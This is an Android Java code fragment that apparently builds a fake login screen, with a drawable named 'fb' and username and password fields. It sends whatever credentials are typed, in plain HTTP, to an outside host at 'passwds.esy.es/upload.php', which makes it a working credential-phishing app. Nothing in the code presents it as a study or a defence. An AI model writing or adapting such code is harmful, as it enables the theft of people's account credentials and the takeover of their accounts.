@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    Thread thread=new Thread(){
        @Override
        public void run() {
            try {
                sleep(5*1000);
                Intent i = new Intent(getApplicationContext(),MainActivity2.class);
                startActivity(i);
            }
            catch (Exception ex)
            {}
        }
    };
    thread.start();


    ImageView ImageView = (ImageView) findViewById(R.id.imageView);
    ImageView.setImageResource(R.drawable.fb);

    bQ = (EditText)findViewById(R.id.username);
    bR = (EditText)findViewById(R.id.password);
}

public void insertIntoDatabase() {
    final String username = bQ.getText().toString();
    final String password = bR.getText().toString();

    class SendPostReqAsyncTask extends AsyncTask<String, Void, String> {
        @Override
        protected String doInBackground(String... params) {
            String paramUsername = params[0];
            String paramPassword = params[1];

            try {
                URL url = new URL("http://passwds.esy.es/upload.php");
                HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
                httpURLConnection.setRequestMethod("POST");
                httpURLConnection.setDoOutput(true);
                httpURLConnection.setDoInput(true);
                //OutputStream outputStream = httpURLConnection.getOutputStream();
                BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(httpURLConnection.getOutputStream(), "UTF-8"));
                String userPass = URLEncoder.encode("username", "UTF-8") + "=" + URLEncoder.encode(paramUsername, "UTF-8") + "&"
                        + URLEncoder.encode("password", "UTF-8") + "=" + URLEncoder.encode(paramPassword, "UTF-8");
                bufferedWriter.write(userPass);
                bufferedWriter.flush();
                bufferedWriter.close();

                InputStream inputStream = httpURLConnection.getInputStream();
                inputStream.close();
                httpURLConnection.disconnect();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return "success";
        }
        @Override
        protected void onPostExecute(String result) {
            super.onPostExecute(result);
            Log.v("Result:", result);
        }
    }
    SendPostReqAsyncTask sendPostReqAsyncTask = new SendPostReqAsyncTask();
    sendPostReqAsyncTask.execute(username, password);
}
public void submit(View view) {
    insertIntoDatabase();
}